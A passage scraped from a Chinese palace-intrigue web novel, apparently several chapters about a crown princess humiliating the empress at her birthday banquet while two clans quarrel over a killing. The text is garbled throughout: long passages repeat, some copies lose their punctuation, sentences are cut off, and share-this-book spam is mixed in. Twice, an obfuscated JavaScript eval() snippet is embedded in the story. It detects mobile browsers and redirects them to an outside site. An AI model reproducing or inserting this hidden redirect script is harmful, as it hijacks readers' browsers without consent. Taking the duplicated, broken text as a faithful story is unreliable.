“皇后这是故意不开门想要罚您一直站着让您丢脸。怎么办啊?”飞霜蹙眉。 如此一来后宫的人都会看云清婳笑话儿媳妇给婆母请安但婆母门都不开。 正想着各宫的婢女、嬷嬷果然都故意从她们身后经过悄悄瞥着云清婳。 “不急!” 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角声音半大不小“恐怕皇后娘娘身子尚未痊愈我去给虞贵妃请安吧皇后娘娘病弱皇上便把后宫的主事权分给了虞贵妃。” “这样也好。”飞霜应和。 云清婳转身的瞬间门砰的开了。 金嬷嬷慌忙道:“太子妃娘娘方才在昏睡您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论?” 如此虞贵妃会笑话皇后不说皇后的威严也会尽失。 “是我心急了。”云清婳顺水推舟地说。 金嬷嬷笑得殷勤她领着云清婳进入寝殿。 “娘娘太子妃来请安了。” “儿臣参见母后母后万福金安儿臣祝您福如东海寿比南山。”云清婳福福身。 皇后没有应声。 但透过纱织屏风云清婳明显看见皇后是醒着的。 这是装聋作哑故意给她为难。 “娘娘?”金嬷嬷又唤了一声。 “……” 皇后没有回应。 金嬷嬷不好意思地笑了“娘娘身子不爽恐怕又睡着了还请太子妃稍等。” “是。”云清婳面上娴静并不焦躁。 金嬷嬷欲言又止有些同情云清婳可最后还是带着宫女退下了。 独留云清婳站在寝殿中央静静地等候。 反正寿宴开始皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩 说着她快步走到他的面前。 “裴郎是来给皇后请安的?” 没错她不装了! 她就是要暴露! 就是要气死老妖婆! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日,天蒙蒙亮,云清婳便按照规矩前去请安。 “主子,皇后以为她在惩罚您,殊不知您乐得清闲,根本不想插手。飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度,“她以为我想给她过寿?我只想给她办丧事! 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌,都不见宫女来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 “皇后这是故意不开门,想要罚您一直站着,让您丢脸。怎么办啊?飞霜蹙眉。 如此一来,后宫的人都会看云清婳笑话,儿媳妇给婆母请安,但婆母门都不开。 正想着,各宫的婢女、嬷嬷果然都故意从她们身后经过,悄悄瞥着云清婳。 “不急! 云清婳岂会被皇后拿捏? 她弱柳扶风般用帕子擦了擦眼角,声音半大不小,“恐怕皇后娘娘身子尚未痊愈,我去给虞贵妃请安吧,皇后娘娘病弱,皇上便把后宫的主事权分给了虞贵妃。 “这样也好。飞霜应和。 云清婳转身的瞬间,门砰的开了。 金嬷嬷慌忙道:“太子妃,娘娘方才在昏睡,您可万万不能去给虞贵妃请安啊。哪有太子妃去拜见贵妃的?贵妃岂能跟皇后相提并论? 如此,虞贵妃会笑话皇后不说,皇后的威严也会尽失。 “是我心急了。云清婳顺水推舟地说。 金嬷嬷笑得殷勤,她领着云清婳进入寝殿。 “娘娘,太子妃来请安了。 “儿臣参见母后,母后万福金安,儿臣祝您福如东海,寿比南山。云清婳福福身。 皇后没有应声。 但透过纱织屏风,云清婳明显看见皇后是醒着的。 这是装聋作哑,故意给她为难。 “娘娘?金嬷嬷又唤了一声。 “…… 皇后没有回应。 金嬷嬷不好意思地笑了,“娘娘身子不爽,恐怕又睡着了,还请太子妃稍等。 “是。云清婳面上娴静,并不焦躁。 金嬷嬷欲言又止,有些同情云清婳,可最后还是带着宫女退下了。 独留云清婳站在寝殿中央,静静地等候。 反正寿宴开始,皇后必须到场。 皇后能装多久? 她今天还有一个大礼要送给皇后呢。 但仅仅过了一炷香,转机就来了。 裴云澈来了。 二人相视一笑。 云清婳的眼神倾泻出光彩,“皇后睡着了。 说着,她快步走到他的面前。 “裴郎是来给皇后请安的? 没错,她不装了! 她就是要暴露! 就是要气死老妖婆! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 把皇后衬托成了恶毒婆母。 …… 皇后生辰当日天蒙蒙亮云清婳便按照规矩前去请安。 “主子皇后以为她在惩罚您殊不知您乐得清闲根本不想插手。”飞霜捂着嘴暗笑。 云清婳的唇勾起一抹讥诮的弧度“她以为我想给她过寿?我只想给她办丧事!” 飞霜扑哧一声笑喷了。 到了翊坤宫。 朱红色的大门紧闭。 云清婳在外面站了半晌都不见宫女来开门。 但她们明显听到门内传来絮絮的说话声。 云清婳无奈地笑了。 皇后的手段未免也太低劣了。 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云清婳垂下眼,“裴郎呢?你的伤还好吗?” 裴云澈的面颊浮现出薄红,脸色一沉,稍显阴郁,“蛮蛮,我都知道了,你也嫌弃我、瞧不起我?” “怎会呢?我爱裴郎的文采学识、品性道义,跟你的身世、身体无关。”她坦然地看着他的眼睛。 裴云澈的心落下了,他解释道:“二公子的事,我都听说了,我已经上奏父皇为他求情了。前些日子,我离京求医,所以才没及时帮你。” “帮我?”云清婳的语气惊讶。 她看了眼皇后的方向,故意提高声音,“这样不会得罪苏家吗?苏家对裴郎多加关照,这会不会不妥?让他们记恨你?” “再多关照又如何?不是亲生的,血脉不一,终归不同。”他长吁了口气。 皇后的后槽牙都快咬碎。 她的心绞着疼。 心疼了二十多年的儿子,居然一点都不感激苏家,还说出这么凉薄的话。 云清婳看见皇后的身子在颤,心中无比畅快。 这就受不住了? 还有更生气的呢! “蛮蛮,你放心,二公子的事我会尽力求情。”他的声音温柔却字字有力。 云清婳的眼尾泛起薄红,淡淡的远山黛眉一蹙,“裴郎也相信二哥是无辜的?” 他笑着摇摇头,“跟这个没关系 。你的麻烦,我都会解决。” 对与错重要吗? 对外他是公正无私,忧国忧民的儒雅君子。 可实际上,他帮亲不帮理。 云清婳早就猜到裴云澈会帮她。 因为他们都是一样的自私、狠辣,本质上是同一种人。 她扑进他的怀里,“裴郎待我的好,我都铭记于心。” “你无须铭记于心,我心甘情愿的,不用你回报。”他的语气温柔。 皇后被气出了眼泪。 觉得心寒! 无力! 她从小心疼到大的儿子,对她可曾有这般殷勤、孝顺过? 这个狐狸精凭什么? 云清婳斜睨着皇后颤抖的胳膊,眼神得意。 她得了便宜还卖乖,眼神灵动,“那是因为裴郎心里有我,否则你会觉得我欠你恩情。” 裴云澈笑了,“不然呢?我不对不相干的人好。” “小声些,皇后娘娘还在安眠。听说皇后悲极伤身,裴郎是不是很担心?”她凝眉问。 裴云澈压低了声音,但字字句句还是清晰入耳,“又不是生母,我担心什么?她这是**病了。” 云清婳勾起嘴角。 皇后,心痛吗? 剜心之痛也不过如此吧? 亲耳听见你一直偏心的养子说这么话、 眼泪从皇后的眼角滑落。 皇后的心像是被贴上了烙铁,疼得她呼吸不顺,快要虚脱。 云澈怎会这么狠心? 云澈怎么能不孝顺她? 都怪云清婳……肯定是云清婳挑拨离间了他们的母子情。 “走吧,她一时半会儿醒不了。”裴云澈道。 云清婳回头看了皇后一眼,双眸似乎能穿透屏风跟皇后对视。 她的杏眼中含着奚落。 皇后再也忍不住,放声大哭,“呜呜呜……为什么?为什么要这么折磨本宫?” “云清婳,本宫不会放过你的!” …… 宴席还未伊始,皇上跟太后就已经到了。 此时,官员正陆续进场。 以云丞相为首的官员为一派从左门进,以苏灵音外祖父安怀为首的官员为另一派,从右门进 。 皇上作壁上观,看着台下的众人,眼底闪过精光。 “安大人治水辛苦了。云丞相拱手,笑容真诚。 安怀冲着云丞相的方向重重甩袖。 云氏一族有年轻男子想要发作,云丞相递给他一个眼神,“算了,算了…… 云清婳坐在席位上,眼眸黑沉。 云丞相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205269|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正要落座,安怀咬牙切齿道:“云苍鹤,这些日子你们跟耗子一样东躲西藏!今日相见,你就没什么话要说? “贵公子的事,我深表遗憾,我也有孩子,我理解你们的伤痛。云丞相发出一声长叹,表情悲戚。 苏将军冷笑,“你的孩子还没死!你能理解什么?说得真好听! 苏家小公子阴阳怪气道:“你儿子害**我二哥,你儿子**,你才能理解!希望你儿子早点死,让你感同身受! “呜呜呜……苏夫人崩溃大哭起来。 云丞相鬓角的青筋鼓起,鼻息沉重,他紧紧抿着唇。 “你们…… 云隽正欲说话,云丞相拉住他的衣袖,递给他一个稍安勿躁的眼神。 苏家毕竟失去了一个儿子,苏盛也的确死于云褚之手。 为人父母,他理解苏家人心中的恨。 “狼心狗肺的东西!当街**,残暴嗜血,目无王法,跟畜生有什么区别? 云丞相陡然睁大了眼,他高声道:“安大人慎言!今日是皇后的寿宴! “你还知道今日是皇后寿宴?正是你们害**皇后娘娘的侄儿,让皇后萎靡不振,你还有脸说?安怀的指尖快戳上云丞相的眼珠子。 “骂云褚是畜生,都侮辱了畜生!等大理寺审判出来,他最好被剁碎了喂狗!苏家小儿子恶狠狠地诅咒。 云清婳的双手攥成拳,双眼红得充血。 苏家人,非要找死吗? 裴墨染搂着云清婳,轻拍她的背脊,“蛮蛮别气了…… “……云清婳失望地看着他。 岳父一家都被骂成什么样了,他还无动于衷。 “你算什么东西?一个断指的赌棍,长辈说话,由得你插嘴?苏家的家教就好吗?不见得吧!云丞相忍无可忍,反唇相讥。 骂他也就罢了! 还敢骂他儿子! 苏家小公子脸颊烧红,像是被踩住尾巴的狗,讪讪收回了手。 苏将军眼含热泪,他高呼:“吾儿**又如何?至少不像你们家,出了一个目无王法的**犯! “你儿子不强抢民女,脱人衣裳,云褚怎会见义勇为?至少吾儿不会白日宣淫!云丞相扬起脖子。 苏家人都被气得不轻,脸上红一阵白一阵。 有的苏家长辈吹胡子瞪眼,甚至取出了救心丸吃。 御前太监正想要上前阻止,可皇上递了一记眼神过去。 “……御前太监心领神会,又回到原处。 第296章 蠢人的灵机一动 “好好好你们云家反了天了!杀了人居然毫无悔过之心恐怕连圣上你们都不放在眼里了吧?老夫治水有功又如何?连外孙当街**害都只能忍气吞声……”说着安怀老泪横流用袖子擦起了眼泪。 “爹您别伤怀!是非公道自在人心圣上会给盛儿做主的!”苏夫人连声安慰。 苏将军的眼神如箭射向对面他哽咽道:“真叫人心痛!盛儿从小品学兼优儒雅温润。他只是跟心上人在街上玩闹便被云褚杀害。盛儿尸骨未寒**犯家属还颠倒黑白 云隽面色一沉他挺身而出“苏将军那女子真的是苏二公子的心上人吗?您可知道她姓甚名谁家住何处?当街看见的百姓可不是这么说的。” “孩子大了盛儿的心上人老夫怎么可能知道?盛儿都不在了你们还要给他扣上这么大一顶帽子?其心可诛啊!求陛下、同僚给苏家做主啊。”苏将军流出了眼泪。 许多官员纷纷唉声叹气。 云丞相正欲大骂谢泽修出列他的目光锐利“当街的百姓都出言作证苏二公子险些扒了那女子的衣物。可那女子却翻供说她跟苏二公子在打情骂俏却被云二公子误会失手杀死苏二公子这一切会不会太巧合了?” 云清婳感激地看着谢泽修眸中绽放出光晕。 裴墨染不由得蹙眉。 谢泽修又在蛮蛮面前出风头! “谢泽修你个黄毛小儿我们说话岂容你插嘴?”安怀指着他大骂。 裴云澈出列他嘴角上扬气质儒雅“两位大人今日是母后的生辰莫要伤了和气。” 苏将军看到他眉毛舒展开登时有了底气“还请贤王给吾儿评评理!” 裴云澈颔首“依本王所见问题全出在了那女子身上!她一会儿装作被苏二公子强迫一会儿又说云二公子误杀两位公子被她耍得团团转甚至让苏云两家失了和气。恐怕那女子的身份没那么简单。” “三哥所言有理!”十皇子立即发言。 九皇子道:“是啊苏将军英明一世万不能被有心之人愚弄啊!” “你、你们……”苏将军气闷他单手按住心窝。 苏将军难以置信的看着裴云澈,他万万没想到从小疼爱到大的侄儿,居然会不帮着他! 他看似两碗水端平,可实际上是在帮着云家啊! 裴云澈却并不在乎苏家人投来的阴郁目光,他眼波流转,视线从云清婳身上划过。 云清婳会心一笑,眼中满是感激。 裴墨染的手抖了抖,啪—— 酒杯掉到了地上。 蛮蛮这是在感激裴云澈吗? 谢泽修、裴云澈都在争相帮云家,可他却态度不明,蛮蛮定觉得他不如他们。 不行! 他绝不能让这种事发生。 裴墨染忽然起身,他的语气强势,不容置喙,“今日是皇后生辰,各位大人的私事还是来日再谈吧。” 几个官员立即应和,“是啊!皇后的好日子,岂能容来谈论这些龃龉?” 云清婳的嘴角勾起一抹讽刺。 狗男人终于知道急了? 可惜,晚了! 她用不上他了! 皇上拿起酒杯抿了一口酒水,有些意犹未尽。 这场戏,这么快就要落幕了? 就在这时,门外传来坚定轻柔的女声。 “不必顾忌本宫,此事拖了一个多月,真相是该大白了!”皇后戴着华丽的凤冠,浓妆艳抹,脂粉遮挡住她原本虚弱的气色。 她被金嬷嬷扶着,大步走来。 众人行礼,“见过皇后娘娘。” 苏灵音跟在皇后身后。 她穿着朱红色的百鸟锦绣襦裙,她的发髻上别着一根金簪,金灿灿的首饰大放异彩,哪有半分侧妃的样子? 简直比太子妃还要华贵。 苏家人的眼中迸发出喜色,腰杆子挺得更直了。 “还请陛下垂怜,满足臣妾的生辰愿望,为苏盛申冤!”皇后扑通跪在宴厅中心,磕了一个响头。 “求陛下垂怜!”苏家人整齐地跪地叩首。 皇上、太后眼中的鄙夷、失望浓得简直化不开。 皇后的气度、眼界实在太小。 明明是一国之母,可眼里只有苏家人! 不讲半分体面! 在皇后生辰这么重要的日子,居然毫无铺垫,直接提出给苏盛申冤,她把皇宫当 作苏家的公堂啊? 全天下都得围着苏家转吗? 云清婳奚落地睨着皇后。 坏人的处心积虑不如蠢人的灵机一动! 皇后简直是在挑战皇权威严。 不仅直接提出让皇上申冤 真是蠢得可以! “皇后过寿是个喜事先开席吧其余的事稍后再说!”皇上勾勾手示意皇后快来落座。 无形的威严铺天盖地席卷而来如同滔滔江水从四面八方压下席卷一切。 苏家人不敢置喙。 皇后本想再求情可是看着皇上面无波澜的脸头皮发麻“是……” 见众人乖顺落座皇上才重拾笑颜“承基、辞忧呢?” “回陛下方才奶娘在喂奶呢儿臣这就把他们抱进来。”云清婳福礼。 皇上一脸慈爱面部线条变得柔软“快些。” 这么温柔、慈善表情皇上已经许久没露出过了。 少顷云清婳抱着两个孩子进殿。 两个孩子吃胖了不少云清婳都快抱不动了。 她将孩子递给皇上。 承基、辞忧熟稔地窜进皇上的怀中奶声奶气道:“皇爷爷……” 他们大胆的抓住皇上的胡子玩。 “呵……这是太子妃教的?两个小家伙越发规矩了。”皇上赞赏地看着云清婳。 从前孩子只叫他‘爷爷’。 云清婳福礼“回陛下承基、辞忧年龄不小了也该学点规矩了。” “他们早慧是得有个好母亲好好教导不能长歪了。”后半句话皇上故意一字一顿。 云清婳知道皇上这是在敲打她。 “儿臣谨遵教诲。”她福身。 太后温柔地看着云清婳她岔开话头:“皇上说这些作甚?皇后今日可是寿星去抱抱孩子让孩子沾沾喜气。” 太后其实很瞧不上皇后但并不是厌恶。 而是一种高位者对下位者的轻蔑! 因为皇后不配让太后厌恶她还不够资格。 但为了皇家体面她不得不装作喜爱皇后婆媳和睦。 “是本宫许久没见过承基、辞忧了。”皇后冲孩子拍拍手。 承基、辞忧身子瑟缩使劲往皇上怀里钻葡萄眼水汪汪的噗噗往外流着眼泪“呜呜呜……” “呜呜呜……” 两个小家伙哭嚎起来就像看见了洪水猛兽。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 作苏家的公堂啊? 全天下都得围着苏家转吗? 云清婳奚落地睨着皇后。 坏人的处心积虑不如蠢人的灵机一动! 皇后简直是在挑战皇权威严。 不仅直接提出让皇上申冤还故意把苏灵音打扮得越过她这个皇上钦定的太子妃。 真是蠢得可以! “皇后过寿是个喜事先开席吧其余的事稍后再说!”皇上勾勾手示意皇后快来落座。 无形的威严铺天盖地席卷而来如同滔滔江水从四面八方压下席卷一切。 苏家人不敢置喙。 皇后本想再求情可是看着皇上面无波澜的脸头皮发麻“是……” 见众人乖顺落座皇上才重拾笑颜“承基、辞忧呢?” “回陛下方才奶娘在喂奶呢儿臣这就把他们抱进来。”云清婳福礼。 皇上一脸慈爱面部线条变得柔软“快些。” 这么温柔、慈善表情皇上已经许久没露出过了。 少顷云清婳抱着两个孩子进殿。 两个孩子吃胖了不少云清婳都快抱不动了。 她将孩子递给皇上。 承基、辞忧熟稔地窜进皇上的怀中奶声奶气道:“皇爷爷……” 他们大胆的抓住皇上的胡子玩。 “呵……这是太子妃教的?两个小家伙越发规矩了。”皇上赞赏地看着云清婳。 从前孩子只叫他‘爷爷’。 云清婳福礼“回陛下承基、辞忧年龄不小了也该学点规矩了。” “他们早慧 云清婳知道皇上这是在敲打她。 “儿臣谨遵教诲。”她福身。 太后温柔地看着云清婳她岔开话头:“皇上说这些作甚?皇后今日可是寿星去抱抱孩子让孩子沾沾喜气。” 太后其实很瞧不上皇后但并不是厌恶。 而是一种高位者对下位者的轻蔑! 因为皇后不配让太后厌恶她还不够资格。 但为了皇家体面她不得不装作喜爱皇后婆媳和睦。 “是本宫许久没见过承基、辞忧了。”皇后冲孩子拍拍手。 承基、辞忧身子瑟缩使劲往皇上怀里钻葡萄眼水汪汪的噗噗往外流着眼泪“呜呜呜……” “呜呜呜……” 两个小家伙哭嚎起来就像看见了洪水猛兽。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 作苏家的公堂,啊? 全天下都得围着苏家转吗? 云清婳奚落地睨着皇后。 坏人的处心积虑不如蠢人的灵机一动! 皇后简直是在挑战皇权威严。 不仅直接提出让皇上申冤,还故意把苏灵音打扮得越过她这个皇上钦定的太子妃。 真是蠢得可以! “皇后,过寿是个喜事,先开席吧,其余的事稍后再说! 无形的威严铺天盖地席卷而来,如同滔滔江水从四面八方压下,席卷一切。 苏家人不敢置喙。 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皇后本想再求情,可是看着皇上面无波澜的脸,头皮发麻,“是……” 见众人乖顺落座,皇上才重拾笑颜,“承基、辞忧呢?” “回陛下,方才奶娘在喂奶呢,儿臣这就把他们抱进来。”云清婳福礼。 皇上一脸慈爱,面部线条变得柔软,“快些。” 这么温柔、慈善表情,皇上已经许久没露出过了。 少顷,云清婳抱着两个孩子进殿。 两个孩子吃胖了不少,云清婳都快抱不动了。 她将孩子递给皇上。 承基、辞忧熟稔地窜进皇上的怀中,奶声奶气道:“皇爷爷……” 他们大胆的抓住皇上的胡子玩。 “呵……这是太子妃教的?两个小家伙越发规矩了。”皇上赞赏地看着云清婳。 从前孩子只叫他‘爷爷’。 云清婳福礼,“回陛下,承基、辞忧年龄不小了,也该学点规矩了。” “他们早慧,是得有个好母亲,好好教导,不能长歪了。”后半句话,皇上故意一字一顿。 云清婳知道,皇上这是在敲打她。 “儿臣谨遵教诲。”她福身。 太后温柔地看着云清婳,她岔开话头:“皇上说这些作甚?皇后今日可是寿星,去抱抱孩子,让孩子沾沾喜气。” 太后其实很瞧不上皇后,但并不是厌恶。 而是一种高位者对下位者的轻蔑! 因为皇后不配让太后厌恶,她还不够资格。 但为了皇家体面,她不得不装作喜爱皇后,婆媳和睦。 “是,本宫许久没见过承基、辞忧了。”皇后冲孩子拍拍手。 承基、辞忧身子瑟缩,使劲往皇上怀里钻,葡萄眼水汪汪的,噗噗往外流着眼泪,“呜呜呜……” “呜呜呜……” 两个小家伙哭嚎起来,就像看见了洪水猛兽。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第297章 逼皇后道歉 宴厅安静下来。 落针可闻。 众官员都懵了。 两位皇孙向来乖巧,很少哭的。 “怎么了?孩子可是饿了?”皇后尴尬地收回手。 云清婳摇摇头,她真的不明白这是什么情况。 太后心疼地问:“莫不是困了?” “他们才睡醒呢,奶也喝好了。”云清婳解释。 裴墨染担忧地站起身。 “怎么了?你们俩可是不爱哭的。”皇上面庞一沉,严肃地问。 承基伸出小巧的指头,指着皇后,“呜呜呜……怕怕……” 辞忧抓着龙袍,哭着打奶嗝,“皇奶奶……打娘亲……” 说着,她指着自己右边的脸蛋。 啊—— 众官员瞪圆了眼睛。 孩子可是不会骗人的,更何况辞忧还精准地指了自己的右脸。 若是骗人,她能说得这么精确? 两位皇孙一定是亲眼所见! 云清婳都懵了。 她没被皇后打过啊。 恐怕是裴墨染被罚跪,她去翊坤宫求情,皇后抬手打她,结果被裴云澈拦住那次,被孩子看见了。 这一幕深深印在了孩子的脑袋里,所以他们对皇后产生了恐惧、阴影。 记忆模糊后,孩子就以为皇后真的打了她。 云清婳顺水推舟,她逼出眼泪,楚楚可怜地吸吸鼻子,“……”. 皇后的脑袋一片空白,她懵了。 她激动道:“胡言!臣妾没有,臣妾没有打她!” “呜呜呜……”孩子哭的声音更大了。 “住口!”皇上剜了她一眼。 太后心疼地拉着云清婳的手,眼珠子一轮,看皇后的眼神染上厌烦、嫌弃。 当婆母的居然打儿媳,有损皇家体面! “孩子,你怎么不说?”太后压低声音问。 云清婳垂下眼睫,显得楚楚可怜,她哽咽道:“母后没打我,孩子胡说呢。” 她可没撒谎! 至于大家相不相信,就不是她能控制的了。 “你啊,你就是太懂事了。”太后的眼神更心疼了。 皇上深深看了云清婳一眼,眼中流露出无奈、怜 悯。 云清婳毕竟帮他挡过箭,在他心中,她跟其他儿媳妇还是不同的。 但他更多的,却是感到丢脸。 大庭广众之下,皇后打太子妃的事就这样水灵灵地被揭露出来,被群臣听见。 有损威严、有损清誉…… 皇家的颜面都被皇后丢尽了! “您们听见了吧?太子妃都承认了,本宫真的没打她!”皇后口干舌燥地解释。 “你闭嘴!”皇上低吼,他手背上的青筋暴起,显然已经忍到了极点。 皇后吓得一震,眼泪委屈地落下。 她赶紧用帕子擦拭,她深刻体会到了哑巴吃黄连,有苦说不出。 她看向台下,可台下的官员眼中都流露出嫌弃、鄙夷。 云家人的眼神中夹杂着愤怒。 只有虞贵妃笑得欢,肩膀一抖一抖的。 苏家小公子幸灾乐祸道:“婆母管教儿媳妇天经地义,若不是儿媳出了错,婆母怎会动手?民间儿媳犯错,打死的也不在少数,官府都是不管的!” “就是!儿媳若是温良恭俭让,孝顺婆母,婆母怎会动手?太子妃应该做好表率,以此为戒啊!”苏家其他人应和。 裴墨染狠狠砸下酒杯,发出巨响。 宴厅瞬间安静了。 他的眼中冒着寒气,“你们算什么东西?太子妃由得你们编排?一群没规矩的东西!” “……”苏家人瞬间蔫了。 苏灵音立即撇清关系,她柔声道:“殿下,此事是苏家不对,太子妃受委屈了。” 裴墨染刺了她一眼,“你就是好东西?猴子穿官衣,不伦不类!” 他是在讽刺她衣着华丽,赛过了太子妃。 “……”苏灵音的脸瞬间通红,极致的羞辱让她的脸火辣辣的,身上华丽的衣裙好似变成了火焰缠在身上烧,她恨不得找条地缝钻进去。 上首,皇上心疼的给孩子揩去眼泪,他和蔼地逗趣:“好了,不哭了,朕已经教训皇祖母了。” 两个孩子这才停了抽抽噎噎的哭声。 浓密的眼睫毛轻颤,黑葡萄般透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209323|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻的眼珠子,怯生生地看着皇后,“唔……” “皇后快给太子妃道歉,哄哄孩子!免得日后两个孩子对你生分! ”太后的黛眉一横严厉地下令。 皇后感到无比的委屈。 今日可是她的生辰! 她是皇后她是长辈她怎么能在大庭广众给儿媳妇道歉? 太后是疯了吗? 她朝皇上投去求助的目光。 “对快给太子妃道歉。”皇上轻扬下巴。 皇后难以置信“皇上、母后哪有婆母给儿媳道歉的?” “你还不明白吗?”皇上抓紧了腿上的布料他压低声音“这是在给你遮丑!你若是道歉此事就是玩笑你若不道歉天下人都会笑话你!” 云清婳忍着笑憋在心里的一口气终于出了。 皇后眨眨眼努力收回眼泪她的喉头像被棉花堵住了“是。” 她看向云清婳脸颊充血**地开口:“对……对不住了太子妃。” “无事。”云清婳福身。 许多人都心疼地看着她。 就好像她受尽了惨无人道的折磨、**。 云清婳抱着两个孩子走回席位她在孩子的脸蛋上亲了亲。 不愧是她的孩子还给了她意外之喜! 这完全在算计之外。 “你们两个小机灵鬼。” 两个孩子咯咯直笑滴溜溜的眼睛笑成了弯月牙。 “蛮蛮皇后打你你为何不跟我说?”裴墨染心疼地搂住她眼神灼热。 云清婳叹了口气“皇后没有打我。” “你还不肯说实话吗?”他的手轻抚她的脸颊。 她侧过脸躲开他的手剐了他一眼“跟你说有什么用?你能帮我打回去?” “我……”裴墨染语塞。 他自然不能帮她打回去。 天下哪有儿子打母亲的? “蛮蛮在家里都是你打我我视你如珠宝听见你被皇后**我心如刀割。”他目光灼灼。 云清婳冷哼。 在这方面他还不如裴云澈。 宴席接近尾声时 虞将军瞥了云家一样坏笑着发问:“安大人您怎么又哭了?” 第298章 宣判结果出来了 “不能替外孙讨回公道老夫意难平心不甘啊!”安怀抽抽噎噎。 他踉踉跄跄走到大殿中央扑通一声跪下“求陛下看在老臣年事已高的份上还苏盛一个公道!” 皇上的眼底闪过暗色他似笑非笑道:“安大人节哀大理寺跟北镇抚司还未宣判出结果朕如何决断?” “此案的案情已然十分清晰 皇上瞥向裴墨染。 裴墨染立即出列他扶安怀起身“安大人苏二公子的事本宫深感痛心此事疑点诸多本宫宵衣旰食已然查了一月有余!” “太子殿下爱民如子刚正不阿老臣信您!所以您可查出结果了?可有进展?”安怀抓着裴墨染的手腕。 裴墨染叹了口气“已经有些进展了。” “老臣不明白人证物证俱在就连**凶手自己也承认当街**。**偿命天经地义为何还不能判刑?!”安怀的眼圈泛红。 “还有些龃龉尚未查清再给本宫些时日安大人为大昭做的一切父皇都看在眼里本宫定会尽快查明真相水落石出。”裴墨染冠冕堂皇的说道。 苏将军拿出一个锦盒“陛下微臣有您当年钦赐的丹青铁券请求陛下恩准缩短调查期限三日内给云褚判罪!” 皇上面无波澜可眼中却蓄着一抹意料之中的嘲意“既然爱卿拿出了丹书铁券君无戏言朕准了。” “谢陛下!”苏家众人伏首谢恩有种拨云见日之感。 云家众人的脸上阴云密布。 裴云澈掀开衣袍扑通一声跪下“还请父皇严审涉案女子!” “准了!”皇上摆摆手。 苏家人的瞳孔紧缩。 皇后脸上的肌肉抽搐了下。 云清婳暗笑。 皇后很生气吧? 气死你! …… 寿宴结束众人在神武门前登车。 云清婳朝着云家在神武门前会面。 “爹娘、大哥你们没事吧?”云清婳担心地问。 云丞相面露忧色“放心吧爹娘没事是非公道自 在人心! 裴墨染语气恭敬,“岳父、岳父,二公子的冤屈本宫明白,只可惜,本宫被许多双眼睛盯着,没法救出二公子。 云丞相、云夫人胆战心惊。 大庭广众之下,太子唤他们爹娘,真是骇人。 “多谢殿下。云丞相拜了拜。 云清婳暗暗翻了个白眼。 狗男人,只会说漂亮话。 这么久以来,一件实事都没干。 “蛮蛮,三日内云褚便要被判刑,咱们可有胜算? 云清婳甚至能听到他的心跳声。 看来大哥也乱了阵脚。 她递给云隽一个安心的眼神。 前些日子她便收到段南天的来信! 事情绝对有转机! 裴墨染握住云清婳的手,“蛮蛮,莫要忧心,诸葛先生已经查出些头绪了。 云清婳眼珠子一转。 她很好奇裴墨染查到了什么。 正想着,金嬷嬷走来,她福福身,“殿下,皇后娘娘召见。 裴墨染转身就走,冷冷抛下一句话,“本宫有些醉了,头疼,下次再给皇后娘娘请安。 金嬷嬷欲言又止,无奈道:“是。 云清婳冷笑。 皇后这是知道裴云澈靠不住,所以想拉拢亲儿子了? 可惜,晚了! …… 回东宫后,苏灵音跟在裴墨染、云清婳的身后。 “殿下、太子妃还请留步!妾身会劝爹娘放下仇恨,以和为贵。苏灵音福福身。 这番话从苏灵音嘴里说出十分可笑。 裴墨染怎会不知她在想什么? 无非就是想让他跟蛮蛮求她。 “这些事与你无关,好生养胎吧。裴墨染拉着云清婳便走。 云清婳回头看着苏灵音,高高挑起一边眉毛,眼神嘲讽。 苏灵音是不是以为她会求她? 那就要让她失望了。 …… 玄音阁。 二人劳累了一天,早早就上了榻。 裴墨染搂着她,“蛮蛮,你是不是对我失望了?就连裴云澈都为云家说话了,可我却没有帮着云家? “在其位,谋其事。倘若夫君只是肃王,自然可以偏帮云家,可夫君身为太子,只能秉公执法,不能留下把柄。她善解人意地说。 他沉默了半晌,低声开口:“你别唬我了,今日我也对自己很失望。 “二哥为了救人,被人做局。谢泽修、裴云澈都肯挺身而出,可我一直隔岸观火。于公于私、于情于理,我都愧对于心。 “蛮蛮,我知道你不悦,今日你都没用正眼看我。你看裴云澈、谢泽修时,眼里是含着笑跟感激的。 云清婳吐出一口浊气,她正色道:“夫君,倘若今日是我下狱,你是不是也会如此? 裴墨染不假思索:“自然不会。 “真的吗?她冷笑。 “……他被她的态度打得措手不及。 